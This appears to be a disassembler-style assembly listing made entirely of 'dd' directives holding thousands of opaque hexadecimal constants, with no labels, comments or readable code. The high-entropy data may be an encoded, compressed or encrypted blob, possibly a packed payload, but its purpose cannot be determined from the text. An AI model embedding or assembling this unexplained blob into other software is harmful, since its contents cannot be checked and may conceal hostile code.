		dd 0B9273A5Ah, 0A2057F01h, 2CB3EA59h, 54341213h, 6D4C2B48h
		dd 0FDE45016h, 0DB969E54h, 3425B580h, 168D3D39h, 0A37B9B13h
		dd 51F7857h, 0BE535854h, 0E3F84956h, 3A2B9CB1h,	70B43A61h
		dd 0EBD26033h, 0A488D439h, 8D20F11Ah, 96ACC4E4h, 2DFA204Eh
		dd 95CB2BECh, 0B682FC5Bh, 0E95409F4h, 56D6C83Fh, 4D9857E9h
		dd 53A73D26h, 0C342CE24h, 0E9F95693h, 71A225Fh,	27EC4048h
		dd 605A484Fh, 5E5BA250h, 17C5CAA6h, 5145109Ch, 30EB534Fh
		dd 7006BF44h, 0BB48EA01h, 26D94D7Eh, 0C93B4970h, 0E609F03Dh
		dd 0C704240Bh, 0B91813B0h, 276CC5D4h, 3BE27833h, 895A0702h
		dd 0F590B27Dh, 0C0F71589h, 0DA2DC8B9h, 0A95FE4A3h, 1F927FC3h
		dd 40054083h, 82A0DC0Fh, 0F031C01Bh, 0FBA6355Eh, 3AD43DFDh
		dd 72D70207h, 0C7CCB22Dh, 0BC3CC4C0h, 0F8790181h, 0F2D3AE91h
		dd 39B8C0E4h, 1B8848h, 907462Dh, 53D0F725h, 518586C1h
		dd 0C36E6962h, 789881F2h, 3424FB3Fh, 3E02C84Bh,	5D188F60h
		dd 3548EF00h, 8A2CB1B5h, 0CF05BE4Ch, 11875E53h,	855886Bh
		dd 28AF5816h, 0D25EE99Ch, 7C5B0EC2h, 0C45E47A4h, 0AA73959Dh
		dd 10DB8CC0h, 1400402h,	0C0565BDDh, 7A0CA9F6h, 3782065Bh
		dd 0DE36424Ah, 521E2C78h, 20A6AC80h, 297676B4h,	0C125EEA0h
		dd 0F4802CC7h, 151954B9h, 0FA54C9CDh, 432F1F1Dh, 4B561625h
		dd 30D25AD9h, 97DA920h,	0DC303BB4h, 0D2F3AF98h,	5A767E8Ah
		dd 400BAF00h, 29513DCAh, 85813EF2h, 2E64B030h, 6C5912E0h
		dd 0A431017Ah, 817DB332h, 7640B80Ch, 0E9F4F46h,	0C16A42C9h
		dd 441FB01h, 128E0558h,	635BB19h, 2AB23139h, 0AC0037CDh
		dd 5DCEE6A7h, 0EC883B8h, 4945F4ADh, 677F6D2Bh, 92E9098Bh
		dd 0F95F2AC2h, 58E9C120h, 2B8175DDh, 0F7898031h, 0DEB3A86Bh
		dd 650BFB56h, 379704DDh, 0BA920B12h, 9DBB0440h,	6B823909h
		dd 68060231h, 8E66DFB0h, 3DB8EEE6h, 5E1BF35Dh, 0BE3B74BEh
		dd 40EFA988h, 7EB6BE89h, 2D2FD8A5h, 33182244h, 0DC2107E4h
		dd 2D0C482Dh, 8DB07896h, 0B673437Bh, 4F97E948h,	0B9B477ECh
		dd 0E955C105h, 81285BC1h, 4B5F5389h, 51E5AA8Fh,	0EC5A45A2h
		dd 549517C5h, 57C005ECh, 3A014D68h, 2C536E58h, 0FE6B1BD4h
		dd 7B58E3D8h, 0A0BB7ED0h, 0ADA94D3Ah, 0A681DD31h, 0A7FA36F4h
		dd 0FB4D043Ah, 4A18E3AFh, 0BBB27CA8h, 7EE3E6EBh, 0D12CE881h
		dd 6603DC59h, 6B74687Fh, 0ACB62DC0h, 0E169C7E9h, 8B6FA37Bh
		dd 5F19E2F6h, 880F096h,	0F364015Eh, 0AA179978h,	0D91AF091h
		dd 2BE58911h, 170909D8h, 0D2E2735h, 2E0D0D4Bh, 76FA39C4h
		dd 0AC5AA2EEh, 0FFD338A9h, 1BB19DD1h, 63608B67h, 403E74AEh
		dd 640AA81h, 5C2E17C6h,	0FE3F7E39h, 2708EE28h, 165F535Fh
		dd 0F6C32017h, 81D90112h, 4A6A8801h, 0DE275B50h, 0E3B43612h
		dd 0C6B169Eh, 76C73F30h, 5823265Bh, 9F0720A1h, 458ACFC8h
		dd 8CCA139Dh, 13F0F7EFh, 0C9F5E0C0h, 526956Ah, 0DCAFDB3Eh
		dd 199F1D53h, 0FC2E5482h, 78B3F207h, 0CAFCBF22h, 21055476h
		dd 0F3565BDAh, 7E0222ECh, 1E0E255Ah, 0F109A466h, 0DE15BA49h
		dd 0A15D2D2Eh, 0E7D2EF08h, 8A0A31EFh, 0A5D021E4h, 58D054B7h
		dd 8D40E6E9h, 58C0B25Fh, 79105C08h, 2D573B19h, 35EA0082h
		dd 3D386A86h, 11092D2Bh, 22773F4Fh, 854BC7D2h, 3182D523h
		dd 0B1B4D5C5h, 0AF227C9Fh, 8C16A6FDh, 0C5092513h, 2D3B91D3h
		dd 8FCA48D2h, 0B56C7F60h, 0C727D9AFh, 0A80AC577h, 0D33D03D1h
		dd 0EE22E927h, 0C07A9F34h, 684FE70Ah, 61E8D0Ah,	323BC941h
		dd 1E831E8Bh, 0FB25784h, 0EFEA69F2h, 0E9E29C79h, 1310D45Fh
		dd 7B138D54h, 4AFB99D8h, 2024AAE4h, 29DF9AEh, 0A0204CB9h
		dd 603DC261h, 0BFE069DCh, 5B126654h, 962D5D40h,	0FAADC7DDh
		dd 474CBDC2h, 8948596h,	0CF59859Dh, 928237AAh, 0F375CCC6h
		dd 35E5AD09h, 1E6D2ADh,	0EF86D5F6h, 0CFA0E780h,	0D2F577AAh
		dd 8468163Fh, 0C9AAFD16h, 0F9B05D4Dh, 55824B32h, 0F61D05D6h
		dd 0ABCEA10Fh, 5917E217h, 7BAFBD74h, 2F295DE1h,	0ABD233FDh
		dd 0E982B4E3h, 77A50BA4h, 6C8321D3h, 89247B86h,	701327BDh
		dd 0D705A918h, 6ECAD344h, 7531B007h, 523C9287h,	19074C1h
		dd 42F4D588h, 9C759598h, 5B5F698Fh, 0DC8869D6h,	0C68004D4h
		dd 10BBF932h, 5748B128h, 9A8FCC3Bh, 208B4257h, 0D9254D54h
		dd 0FED6EC1Bh, 5AE7F697h, 6AB6C755h, 0A273C24Eh, 5340C0F1h
		dd 301460BBh, 2B481965h, 0E9F23F07h, 4C3B8869h,	4A4EF8A1h
		dd 615AB66Fh, 25F0689Ch, 58605533h, 620F5643h, 0DBAEACC1h
		dd 426FB58Fh, 2FE9C8FBh, 0C238207Ah, 736B9D42h,	77B7F280h
		dd 30C1146Ah, 41E05E2h,	0E34BB2C7h, 60CB09E0h, 0D2CDF929h
		dd 4D7B6B75h, 79AF4F25h, 7B57828Ah, 47F728C6h, 0BCE985EBh
		dd 0D3EBADBDh, 954837EFh, 0C1CF9409h, 8173BE2Fh, 7935F377h
		dd 994312E3h, 0ABC5E1FCh, 0BD48B03Bh, 227BDFDh,	4BEF793Bh
		dd 9A725F59h, 5CB64A1h,	89E8F7BEh, 86EA57F3h, 2F31AFEh
		dd 7F3EBD58h, 12F76D29h, 5DD0901h, 5D0974E4h, 92A5FDC6h
		dd 9DA5AB5Bh, 4A27DE3Eh, 0E9D928EEh, 574A555Bh,	890EEDC7h
		dd 4AE56F6h, 171FE3CDh,	3BC7D8A4h, 3AD168Fh, 0ABC9A940h
		dd 0EF5AEB7Ch, 0E91643F9h, 83ECC5B0h, 0E48D8B99h, 6A58641Ah
		dd 80404FD5h, 3DBC3EC7h, 0B15904Ah, 9316ED36h, 81E923C9h
		dd 0A852E8BAh, 0A16A5D6Eh, 7A6C6E78h, 321DEDEDh, 4F8B16C3h
		dd 60422BCCh, 0B6EE3549h, 9A4C0EDBh, 0B8922C1Ah, 0F12D5F97h
		dd 4338C6CDh, 87200E4Ch, 0F0B1511Eh, 60BC4017h,	0DE82F80h
		dd 0E630C1BCh, 8FB6207h, 5727F59h, 93066F6h, 35EEE39h
		dd 42B0744Eh, 0EC5EF968h, 0BAB93AB4h, 0EA7EAA96h, 32AEF353h
		dd 0C6020C2Fh, 0F2E04C04h, 54995A67h, 0DC4890FBh, 592F004Bh
		dd 0EF4B6B05h, 0E87A3C7Eh, 4C9213FCh, 0A8FD524Bh, 3BBE6809h
		dd 0D9F7B27Fh, 47DD4904h, 0E81A6B7h, 0BA1372C3h, 29258A8Bh
		dd 0BDE08F56h, 4BB45136h, 0D0F2246Dh, 0D9939D71h, 1DF53D48h
		dd 75445C58h, 8481FB29h, 0A32F9C15h, 9C12504h, 4F54548Ah
		dd 0BD33BB45h, 93B8B5FBh, 0BA4ADF84h, 50C49737h, 97902DE2h
		dd 0C545F092h, 0B1FC809h, 0CD3D036Ah, 0C389B3Bh, 11F3687Dh
		dd 650B037h, 213C526h, 7E441891h, 29147738h, 50DA3010h
		dd 3165BB74h, 1BE8783Dh, 0D82B2C5Ah, 4B319A40h,	0BA44BAEFh
		dd 5F09D60Fh, 893390B1h, 0DDB58AD9h, 52B463BBh,	0D0918C09h
		dd 0FE4D5830h, 0A613B0Fh, 0AAB084F7h, 12973A99h, 391DA656h
		dd 0EFF8CB8Bh, 72C17E1h, 2E669BC3h, 0A946616Ah,	0B3F10384h
		dd 7AE9D98Bh, 755902CEh, 105877D9h, 0A36695DCh,	7DC9BB25h
		dd 0AD30CB0h, 3AA7689Fh, 0FCE3BA82h, 97237A3Ch,	35943D50h
		dd 0F83C7027h, 0CBAC962Bh, 597F94F7h, 0BC4B790Bh, 0D3A9B448h
		dd 9F45BF96h, 190E81FDh, 47C52152h, 43BF201h, 0AEA2789Bh
		dd 407609E2h, 0F1008097h, 59CF084Eh, 927F7C68h,	8487370Eh
		dd 56CD4120h, 67C25A55h, 0A0DA5CACh, 6F27A540h,	0E5C11660h
		dd 0FC1FE05h, 81234795h
		dd 85F4104Bh, 701172Dh,	305DEA21h, 681313DBh, 0DA0655D0h
		dd 40D6E97h, 0A93BD9C7h, 0A504BF56h, 2D03B964h,	1AE21835h
		dd 4E1FB057h, 917EB7ADh, 0D671E140h, 6568181Eh,	0C327E353h
		dd 3DCFD397h, 30666E12h, 42AB2D41h, 96FAA675h, 0A1BF6CE3h
		dd 17806809h, 5F4DFEEBh, 0DF5C297Ch, 5A503802h,	57772CBFh
		dd 0BE7B6460h, 7B5A0D09h, 94DB302Dh, 4DE768B4h,	5F36E50Eh
		dd 0EF83C5D1h, 0DF4CE4BFh, 1CEADE9Dh, 18A060C9h, 0B4F2585Bh
		dd 0A89D34Fh, 54021260h, 4C426F52h, 0C2A459B5h,	1BA9FB4Bh
		dd 98B14404h, 0CBD29979h, 1026B2ABh, 275E80C7h,	0E4C2E5F8h
		dd 0BF4F13BCh, 9F68C130h, 74C93F16h, 0A34EA612h, 1F8A1194h
		dd 5C88804Fh, 325A5449h, 1BE84941h, 44E13CD4h, 8456A200h
		dd 8E083050h, 72F71C06h, 6A90DE9h, 5C0BB53h, 0E62D162Ch
		dd 2078C652h, 0BB04907Bh, 49DB2D4Ch, 8A02F7F1h,	8F802901h
		dd 430363A9h, 87A1E912h, 0CF30B089h, 0F18180FEh, 588378BDh
		dd 5E2611C3h, 0F5ABC21Ch, 9F5CF009h, 840BBE50h,	201A1118h
		dd 31677C7Ah, 0BC389C69h, 7A5B0E8Ah, 0A7A21ABAh, 0D381A95Eh
		dd 5F33EF01h, 7C5C7570h, 9A2A4C26h, 0CE302B04h,	0DAD7AEC6h
		dd 1158AD89h, 0B194B86Ah, 6BA5E9h, 0C0C7FEC7h, 0FE9707E7h
		dd 0BBB66715h, 0C59771EEh, 0E5C888BCh, 16D5D027h, 0BA38F305h
		dd 0AF564123h, 0CFB9D924h, 0A3508300h, 0EBE18126h, 19461016h
		dd 60F70FA0h, 0DCEFACD1h, 0E39D4D3Ch, 4718AC5h,	2683CE5Dh
		dd 42176C66h, 4C352840h, 0B0B70986h, 0D2A090BCh, 81500919h
		dd 0C4456927h, 66AAA0E8h, 0F2AC5D4Bh, 0FD63FE97h, 662990C6h
		dd 0D6013C03h, 1708EE28h, 0B9E521E9h, 496298ECh, 0B489A3Ah
		dd 1299431Dh, 78C80FDh,	9FCAF96Ah, 0E20577D2h, 1A6523F8h
		dd 0E1A810EAh, 20158401h, 7FEA3152h, 0B3644A94h, 0D8ADE7D2h
		dd 0BD1EA3E1h, 0DFF16DE5h, 96DBF5C6h, 2E95B0A7h, 754BD417h
		dd 976B7178h, 3F8EDE98h, 9055BA80h, 20D99034h, 5A18C2EDh
		dd 0EE76CB31h, 8B6B1FDEh, 0A10EC905h, 64EF28FCh, 90A3B01Dh
		dd 98072679h, 0AA1C4414h, 52242FA2h, 4A1910D9h,	9CC6C1EEh
		dd 64A83A7Eh, 545B3E4h,	4CE9C821h, 5EF1E0h, 6ACCCD81h
		dd 0D5F72974h, 8A6C6594h, 0EA20975Dh, 0E9F77D45h, 6BF7EFF8h
		dd 68C2F6CAh, 5166176Ah, 39EAE4A0h, 0E91336F6h,	9634BF2Dh
		dd 64408FA1h, 1D5638B3h, 4C9351Fh, 864814C6h, 0E9170409h
		dd 60364E1Ah, 0F56441AEh, 4AB568E2h, 0ABA625FFh, 4D05B2C1h
		dd 5BE0E32Fh, 0C396B1B8h, 0C97CA23Bh, 406C20h, 9778F5BBh
		dd 5BDD2146h, 872B7E9Dh, 0C9930864h, 2FDF7A80h,	0F69F4ECBh
		dd 0D3082040h, 6471087Dh, 686CC581h, 0C826E15h,	75CF5BFBh
		dd 314BFAC0h, 2846BA25h, 1C34085Dh, 20141424h, 0A7DC3442h
		dd 0CBBFC5FBh, 13793427h, 2BFAAA17h, 4AB1588Dh,	0E9D638EFh
		dd 0E87B552Ah, 0A539E32Bh, 17C66E8Eh, 9428FAEh,	0A09322E9h
		dd 0CE816645h, 0B6E6267h, 0EE0175E6h, 0B83B7232h, 70E3247Bh
		dd 256FCA08h, 0EF80AE5Ch, 11369CC6h, 8809C01h, 0BF001816h
		dd 1E293A44h, 0E2F73D81h, 56080396h, 6004FCF5h,	750BE018h
		dd 13319005h, 5015A76h,	0F258C71Bh, 7C5F2F56h, 0ABEA93D8h
		dd 7720B2C9h, 759141B3h, 95F53DCAh, 25EE4C5Fh, 6470D467h
		dd 0E7F2C8A7h, 0FD25460Ch, 0FC88E62h, 31BF3F57h, 0A9D4FF36h
		dd 0B07B88EBh, 29C200B7h, 98EF89FDh, 1B196E7h, 31EE875Eh
		dd 9DECBCDh, 2716F158h,	0C2965F97h, 62395497h, 6A7A5BD9h
		dd 0D6EEBF90h, 52A47E9Fh, 0E9799074h, 6AABA13Bh, 0F0C4D8B9h
		dd 1284B6A8h, 0F3AEFD9Fh, 0D15CA3A4h, 627A02C5h, 566A4006h
		dd 1967947Dh, 7F124968h, 0D44B3AFDh, 0BD0248EAh, 65E59D18h
		dd 0E451568Fh, 4ED4B4ACh, 4BAC248h, 0FF33C380h,	0B8458AA5h
		dd 29AEEB13h, 4DB1F0FEh, 9FDC24BDh, 0D75CF782h,	0ECA08404h
		dd 6FD4AEAh, 0E5BB0ED3h, 0B964EA72h, 0E3EED70Fh, 0B0292124h
		dd 4EE1E955h, 87D54B58h, 9C088CEDh, 3D422771h, 53B0297Fh
		dd 8C9ABF64h, 7955E07Bh, 0E95750B5h, 5BBBF354h,	2C0E340Bh
		dd 2D485D47h, 449FB1CFh, 51503AD5h, 782B6882h, 0C1C00807h
		dd 537758F5h, 6069235Ch, 7A83F112h, 721F60B3h, 0CB4CAE14h
		dd 5198C8FEh, 0A8F5ED4Eh, 78BC0C87h, 626ACCE3h,	0FAAFF794h
		dd 0F22928C6h, 0E7AB4A90h, 49458EAh, 5E270D9Ah,	2F373501h
		dd 75FA2066h, 13D37612h, 915884E8h, 3B169B4Ch, 7772D047h
		dd 697EDE33h, 1206ED30h, 48282BA3h, 0AB01A15Eh,	0E93C3630h
		dd 327DFE74h, 0DA9B080Fh, 9AA5250Ah, 0FB415BA8h, 7D6CA602h
		dd 0D157EB09h, 7ABF62F9h, 0D6C62902h, 0E2575A91h, 0B6E85D12h
		dd 82825742h, 76C6E4C5h, 7C68E209h, 938EC77h, 7BF025C6h
		dd 12C74475h, 0BEA8B4E9h, 213E020h, 0C4439028h,	5251464h
		dd 0F2205Ch, 686A768h, 78181DDFh, 0DDBF330h, 9F5BDA01h
		dd 5E620651h, 308B09B5h, 0C8C6C557h, 8D430B9Bh,	0ADA2CD6Eh
		dd 5A17115Ch, 7B7C56A4h, 128358D7h, 0DA62D905h,	6C50BE69h
		dd 685E0908h, 6B17DB8h,	0BB7D34B0h, 0FE5A4B09h,	2F45FC72h
		dd 0F99880D8h, 0DA35E912h, 4E8160CCh, 0F9652869h, 6C2B544h
		dd 65903DF7h, 0EBFAC456h, 6C48080h, 0F6CCFEA8h,	0F7020EDCh
		dd 0E958E728h, 0E00957F8h, 37DF165Fh, 0C540EEAAh, 64E95E0h
		dd 21A40734h, 5479A12Fh, 0B9E16921h, 1923CE4h, 8004EDC0h
		dd 0F5CC7DCDh, 6706C029h, 0EA301EB2h, 9F12E919h, 0FC147C4Bh
		dd 9B12926Ah, 0D2851DF9h, 7EF1B91Eh, 5B76F9E0h,	16ACE13Fh
		dd 0B20BD04h, 24627DF6h, 192974D2h, 9288E402h, 2CFB595Eh
		dd 0C54BFE78h, 8FAA20EFh, 0F8B56679h, 7DE50CE9h, 0AB0C7BFBh
		dd 0B75FDF70h, 0EB01F7C5h, 8209B63Dh, 0E19E8C20h, 0B111BC7Eh
		dd 8D34C72Dh, 9BD758F7h, 40DC5E26h, 1ACA2752h, 5B0154B7h
		dd 9140D0DAh, 4B31088Ch, 2FDE9E47h, 1A3A5DD1h, 4841D1CDh
		dd 0AC81A065h, 5DD37669h, 0E9E27579h, 181470D4h, 0B599168h
		dd 1FC46EC8h, 0F4880B06h, 0B5A2BFD7h, 975F2EA1h, 44E9042Eh
		dd 0CDD997B9h, 58322D86h, 0F8C21067h, 46548A1Fh, 87C8802h
		dd 9D04FAB5h, 825C2BD4h, 507B5498h, 9883B0D4h, 4FED80FBh
		dd 75E8BD29h, 0CF263091h, 0DDEFA616h, 6E0EF10Ch, 0EEC1CF02h
		dd 0BFE06h, 816DEF12h, 2E044CF2h, 6EE96A82h, 885385D0h
		dd 75D8E4EBh, 916E955Bh, 970E7931h, 71B0F65Ch, 856149BEh
		dd 90100F4Ah, 5E5A0507h, 32E44EE9h, 7E4009C7h, 0F24A0E98h
		dd 0ECE90801h, 27D36B15h, 0B327C1AAh, 5B5E9180h, 0E668D3F7h
		dd 458C6C4Eh, 32045EDCh, 0C0D63367h, 8DEA5D13h,	55AC08DBh
		dd 17AF99Fh, 4D35C5BDh,	0B757701Dh, 9685180h, 527001C9h
		dd 0E181C665h, 3E557364h, 5BD6523Ch, 0B4BA2B7h,	81918C09h
		dd 0CA89AEBFh, 90A2803Bh, 6498FD7Dh, 0B927DFE1h, 428C9AE7h
		dd 0EDA377EFh, 151767CBh, 28ABB2F8h, 0FA838BBBh, 7ED501Ch
		dd 3F68665Eh, 52F34C46h, 83D154BFh, 5859CD29h, 8D9CE8CBh
		dd 7128B7Ah, 665954ACh,	0AD4E71AAh, 0E8C629AAh,	434FC154h
		dd 8BE01B16h, 737304Bh,	91699DE4h, 2CC11F4Ah, 5004172h
		dd 20F4B1Dh, 86C33152h,	2189568h, 0B551012Ch, 10F7282Eh
		dd 9D834578h, 0C1F34CA0h, 36F61470h, 3E10AF49h,	8B13C8E4h
		dd 5F092BD7h, 0BD703989h, 700775A1h, 0A3F4B75Fh, 7C120C5Eh
		dd 7F445001h, 0A07A3910h
		dd 0F55229C8h, 84DC27A4h, 0E3BB54CDh, 61AAD7E3h, 3F632F10h
		dd 680977F2h, 4730320Ah, 1B97356Dh, 5CFBE22Eh, 0CDE2725h
		dd 0E22462AEh, 821B4A5Ah, 57583747h, 43960614h,	0C909025Ch
		dd 0D852840Fh, 38E96D90h, 0DC12F36Bh, 10C22C27h, 2F0B5BB5h
		dd 0EB95F639h, 3858E6D4h, 2065B8C1h, 45B07607h,	0D624C272h
		dd 59132B5Ah, 0E4AD3C4Ah, 0A1B0639h, 1D0E5246h,	0A6C03CDAh
		dd 28540183h, 3089F0C3h, 554EDBF5h, 79EC3BDDh, 0EB288048h
		dd 0E3596626h, 18BBA009h, 484CB64Ch, 0FC7D2650h, 6E18B22Ch
		dd 0C807D080h, 8262A459h, 8C403291h, 408216FDh,	73472A88h
		dd 0D589313Bh, 6B4B5Ah,	0BCC0DFF6h, 7E150871h, 0BFD4B230h
		dd 53F76EFh, 0C03B8AC3h, 0B6A1AF1Dh, 75B50804h,	68A1202Ch
		dd 0D77CA5B5h, 0E92F6836h, 0EDE809CFh, 5D1A0E07h, 0D8F2EB12h
		dd 0ECFD4785h, 6DEDD230h, 1E01C825h, 6FD0215Bh,	5E3AF8D8h
		dd 27AEE3B8h, 4463544Ah, 61E1ABEEh, 9D46A37Fh, 0DC2F89DCh
		dd 2E025168h, 855494B7h, 801101B7h, 98687FF7h, 0E0E45807h
		dd 2FA56640h, 7EC0EE28h, 8CD2E37Ah, 0C2AC45EBh,	7EF8E8FAh
		dd 7DC0DA77h, 47372AEBh, 0D3CDA002h, 0F7E3E71h,	125AE30Eh
		dd 0F302BE3Fh, 56F48430h, 170C02D6h, 0FF23F1Ah,	99A4DFC5h
		dd 94F19B65h, 42A3E408h, 0F9C06E65h, 0C90AF0EAh, 30602B3Fh
		dd 0F2F10E41h, 0E10AC004h, 46E93898h, 99C9574Bh, 829C83E0h
		dd 7F2DA17Eh, 228E47A1h, 0F789D073h, 0DF395E72h, 76275987h
		dd 0B6075090h, 0E915435Fh, 0B5C95375h, 4093F52Fh, 0DA5D7549h
		dd 5A9A76C4h, 28EB0716h, 5F1D92FDh, 9060D47Ch, 9D6CD70Fh
		dd 0B4895F5Ch, 291A7F83h, 8BBDFE04h, 56EA2F3Eh,	91C5422Eh
		dd 77111157h, 0CB74C257h, 0D5BE5D82h, 74BF31C6h, 73F189E2h
		dd 0CDDE4D7h, 40F015BFh, 3E09BBC4h, 0F2453928h,	0D8C50797h
		dd 0AE323511h, 0AD7CF5E0h, 5ABD4B78h, 4C80338Ah, 0AFB9DE77h
		dd 88BB04A6h, 0BF6B78C7h, 5BB1FD12h, 0B8E83F54h, 0BD99FFF5h
		dd 0A1849529h, 16BFF2B7h, 950874B3h, 0A7521788h, 38AED309h
		dd 5D81424Ch, 2B33292Fh, 0E91205B3h, 8394C2D6h,	92CC7909h
		dd 68B5B076h, 0F7D9940Dh, 0FC60DF43h, 215781A2h, 0A5A9E02Dh
		dd 0BB6F19Dh, 96DF5456h, 0D72BD90h, 0C0FC4DA0h,	89F45E0Eh
		dd 23FC92F1h, 51F9C0B4h, 0B074C38h, 26432E68h, 1F62C5Ch
		dd 7F0A2BF9h, 3F785FE9h, 0F5D4B1D2h, 95B0ED82h,	647E60D7h
		dd 0D7058006h, 0D1522A2Dh, 0E2B068ABh, 9F7EEE9h, 0DA7033EAh
		dd 1DD2647Fh, 40D45EAh,	0FE0C8B38h, 32DB02A7h, 732D1A88h
		dd 0C232E927h, 0FF565DA8h, 0A44F0B47h, 0B9B8F1CAh, 0E76B1FDFh
		dd 79C493F4h, 0C196C3FCh, 819FE3B2h, 5731C399h,	0CBD817AFh
		dd 5C6F07D3h, 9E35E926h, 3ECEAF12h, 21E58C4Bh, 89DCF04Dh
		dd 38C6DF5Eh, 70E9510Bh, 0F57F20ABh, 17EDC046h,	5CB05006h
		dd 30DC83B8h, 0A39AE9C5h, 0E6484E7Eh, 12287F00h, 0C1E3C118h
		dd 1688BF54h, 0C7C7402Eh, 0CE3B4BD5h, 78E70579h, 2A877B07h
		dd 0EAC47D0Bh, 0C96F6800h, 55930AFh, 0FC2702E3h, 2DC82906h
		dd 59BB078Ch, 0FDB75269h, 0FC27B895h, 4481E200h, 0E1138700h
		dd 54012D0Ah, 0C6875FEh, 0FE6F5A1Ch, 60E958A4h,	0BD0B4A92h
		dd 2856E38h, 59678663h,	0D6CF1A9Bh, 0BBFD0F7h, 8237F396h
		dd 16975570h, 58AA25CFh, 0AD2B123Ah, 11ADC7FDh,	7140763Ch
		dd 1FC012B9h, 888B04ACh, 6858012Dh, 19320318h, 0BF2AE830h
		dd 801832C1h, 0D190890Ch, 0F5789FE5h, 2EFA6817h, 75522F60h
		dd 4339181Ah, 14566251h, 3FE9191Eh, 144F42Eh, 386B0153h
		dd 821EC73Eh, 6373F90Ch, 0E0BE800Fh, 1857393Ch,	86A093E9h
		dd 323F022Dh, 0D55EA5A7h, 74896AE7h, 809C9AA0h,	0B709A92Ah
		dd 4E26FC69h, 312D9DFDh, 5126F59h, 56123F8Ah, 0A22FBBEh
		dd 7A05745Ah, 5FCBC474h, 0EB4BF74Ch, 0E9173BEDh, 5F894EB8h
		dd 0D924A7CBh, 7EF3FE01h, 0B0025B89h, 14445A32h, 580826h
		dd 5FCA7DC3h, 7A79EDEFh, 77FC592Fh, 4540099Ah, 52302C5Dh
		dd 73DE0C76h, 0E5374A0Ah, 0C080652h, 8F521482h,	0D968CB35h
		dd 0EA3E66ACh, 729DB840h, 0F8017D3Eh, 76B067A6h, 0AF7E6254h
		dd 2F89895Eh, 8928F170h, 827497F7h, 0FBBA5646h,	0F58E3038h
		dd 0E36809B0h, 938462Ah, 77A832D0h, 6F9E0F00h, 90B5953h
		dd 0FD515AD5h, 22D782B3h, 66F02FDFh, 25147CF6h,	106A5535h
		dd 5B2726AAh, 48259E4Ch, 0EFAFDE14h, 0FE6FCE64h, 0B37B87E5h
		dd 1CDBD439h, 131D4ADAh, 0A202F78Fh, 0D231663Bh, 6E68164Dh
		dd 0C9D9F878h, 0F470055Bh, 7BB8CDEFh, 927D99B8h, 0D6F705EAh
		dd 62281268h, 2B7839FCh, 43CC3505h, 0FF16F6h, 7FAA2D0Fh
		dd 0AC32B8Fh, 0D9087576h, 81385EE9h, 2E5CB5Bh, 587D96BAh
		dd 0CB0E4071h, 87401A6h, 0FBE9D731h, 4D399D65h,	2D77BAC8h
		dd 0A689BA3h, 574C4FA5h, 0A34ECF20h, 47775F44h,	0B39205FEh
		dd 76486C25h, 1B2B6FC3h, 0C185E162h, 81CAF86Fh,	2EC045BFh
		dd 0B0A6123Fh, 7EBC051Fh, 0BF80D42h, 0F2818D7Ch, 0B43A232Ch
		dd 9A1A836Ah, 7F314ECh,	387F5B4Ch, 5D24EE60h, 0E1364E8Fh
		dd 7378D90Ch, 0DF582772h, 97AF438Eh, 0F4063EBh,	9C97E831h
		dd 0E9C60C4Dh, 0E26BB313h, 6202BB0Dh, 8A079025h, 0F1B52174h
		dd 68005BFDh, 89A33947h, 1FE96ED2h, 9675FE89h, 0F9785548h
		dd 12AFFE20h, 0FF0C9D6Bh, 1EE51D60h, 74E0275Bh,	0CDE939C0h
		dd 58134F9Eh, 12EBEDA5h, 0B96F3908h, 5F084005h,	97AC1EB7h
		dd 0E9E140DEh, 0FC74B41Ch, 0F8014DA6h, 5E386680h, 8C27E909h
		dd 9DF6EC40h, 0D631CA02h, 7712B4D9h, 0BE4E75E3h, 28BF3D12h
		dd 71555D4Ch, 2D0350D0h, 0AE2DFCC1h, 20865AB3h,	0B125B055h
		dd 86914BDh, 929DE952h,	0EB0D4424h, 0A77B6A6Dh,	64E982A1h
		dd 0E38ADE45h, 0BAF4A568h, 0F1AE5934h, 4A016261h, 0B8F13EFh
		dd 0DAB376F5h, 8977F3CAh, 0D88A5434h, 59801D83h, 12776231h
		dd 634484B8h, 67B96B0Bh, 0F15AC356h, 8E7B120Fh,	0F7301608h
		dd 0F947C8EAh, 84B9C85Eh, 0BA3F9C84h, 5881234Eh, 0F1588408h
		dd 0AC3BDD31h, 39AF5AE3h, 136DFD3Eh, 0DC2E54C3h, 1ED09D5Ch
		dd 8BD3C9F2h, 7366BC00h, 5810DAFh, 533F1ACFh, 9384BA25h
		dd 207BC7EAh, 0AC4AE9DFh, 4CD625B5h, 227F8BBBh,	0C7FE0C66h
		dd 8004DFF6h, 28B5EF00h, 0E9535BF9h, 1414BCF0h,	605985Ah
		dd 0F957C027h, 0E90840BDh, 7D747026h, 8049B260h, 58F273C2h
		dd 530F24E2h, 0E34C0AB3h, 7B4FCA2Eh, 0D9B46C77h, 0EB802B90h
		dd 8D8AA135h, 2C8FCA2Eh, 66975F08h, 6CAA4D21h, 2983DC7Ah
		dd 0FD29CF5Bh, 58FDD86Eh, 54E08997h, 1A08CEAAh,	25AE702Fh
		dd 0E9DD5866h, 88E48149h, 153B3043h, 597F920Ch,	97736C5h
		dd 833502F3h, 2698EB77h, 0E9B54851h, 0E18F4971h, 0EE2EF539h
		dd 859126C6h, 983CA068h, 557282CFh, 0E0BB2A03h,	2E68DB6Bh
		dd 1C0DA67Ah, 9A1FCBC1h, 24F7E775h, 0E00269ABh,	5144361Ah
		dd 5E16AE3Ah, 0C0411545h, 13FBB2FBh, 0CBEB6C01h, 56558C0h
		dd 39C6539Eh, 1455D4FAh, 1F044E08h, 0C0297B75h,	8F027A04h
		dd 0E2F83C5Ah, 92D71524h, 31B408ACh, 88204E28h,	54434CAAh
		dd 7C0D7104h, 184E81Ah,	0E922C059h, 0F96AF27Bh,	300CDF18h
		dd 5EB74837h, 200DEDF5h, 7B0EDE0Ch, 0A83868C8h,	6F5BFA1Ch
		dd 0E24E00F7h, 5BAEE906h, 0B48F8C6Dh, 3F5E2E18h, 730E0A0Ch
		dd 4E70987Eh, 2C9A490h
		dd 53266815h, 14F58CD0h, 0E5455851h, 31965513h,	0E8D4B596h
		dd 0A7A7F1C4h, 487972A5h, 9E208ACBh, 15EB8102h,	5461485Eh
		dd 0C36850BDh, 8A32545Dh, 5A65F202h, 62910088h,	59EE19AFh
		dd 0F0896157h, 112DAF78h, 23C14948h, 108940Bh, 657E79CEh
		dd 6CEA0051h, 0E93DD971h, 796B2F2Dh, 7D098BF1h,	0F0270171h
		dd 2F264291h, 8C7C6550h, 0C5E99AD4h, 47250B04h,	88BC596Fh
		dd 44C82914h, 8092FB40h, 0D7B8F787h, 7A0308D2h,	483043F0h
